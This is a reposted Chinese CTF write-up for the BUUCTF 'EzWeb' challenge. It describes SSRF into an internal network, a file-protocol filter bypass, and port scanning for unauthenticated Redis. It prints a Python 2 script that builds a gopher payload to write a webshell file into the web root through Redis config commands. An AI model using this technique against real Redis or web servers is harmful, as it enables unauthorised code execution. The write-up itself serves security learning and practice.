buu EZ三剑客-EzWeb
阅读原文时间:2023年07月08日阅读:1

查看源码 发现有提示

get 传secret , 尝试随便串值

http://……./?serect=1

发现这是linux命令, net-tools工具中的ifconfig ,但这个工具逐渐被iproute2代替

addr:  指ip地址,有两个,说明另一个是虚拟主机,也就他们所说的内网

直接扫A类私有ip网络,但是它可容纳1600万台主机,扫也少不完哦   (网上说扫c段,0-255,可这明明是A类)

可能这就是出题的吧,那就直接扫ip地址的最后一段 (ipv4 32位,一段8位,2的8次方,256,也就是0-255)

10.151.30.11 给出了提示,端口

那就再扫一个端口,呃,也好多,这个一个一个试一下更好

6379端口(redis)或3306端口(mysql)  redis 是非关系型数据库,用于处理高并发,大数据,云计算,也是使用最多的(在nosql中)

发现是6379端口,redis存在未授权访问漏洞,可以在根目录下生成个文件shell.php

里的dict协议也被过滤了,所以得用gopher协议    

为什么知道被过滤了,因为这里可以用file协议读文件

发现file协议被过滤了,我们可以尝试绕过:file:/file:<空格>///

file: ///var/www/html/index.php

得大佬的脚本(python2环境),构造payload    ssrf常见的攻击方式可以用绝对路径写webshell,利用gopher协议打ssrf

import urllib
protocol="gopher://"
ip="payload"
port="payload"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

为什么晚上的都说从框框提交payload, 不能从url

而我却是只能从url中,不能从框框中

然后

提交,flag就出来了

参考:

https://www.it610.com/article/1292916384489086976.htm

http://www.manongjc.com/detail/17-hibjseszinrslia.html

@font-face { font-family: "Times New Roman" }
@font-face { font-family: "宋体" }
@font-face { font-family: "Calibri" }
p.MsoNormal { mso-style-name: 正文; mso-style-parent: ""; margin: 0 0 0.0001pt; mso-pagination: none; text-align: justify; text-justify: inter-ideograph; font-family: Calibri; mso-fareast-font-family: 宋体; mso-bidi-font-family: 'Times New Roman'; font-size: 10.5pt; mso-font-kerning: 1.0000pt }
span.msoIns { mso-style-type: export-only; mso-style-name: ""; text-decoration: underline; text-underline: single; color: rgba(0, 0, 255, 1) }
span.msoDel { mso-style-type: export-only; mso-style-name: ""; text-decoration: line-through; color: rgba(255, 0, 0, 1) }
div.Section0 { page: Section0 }

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章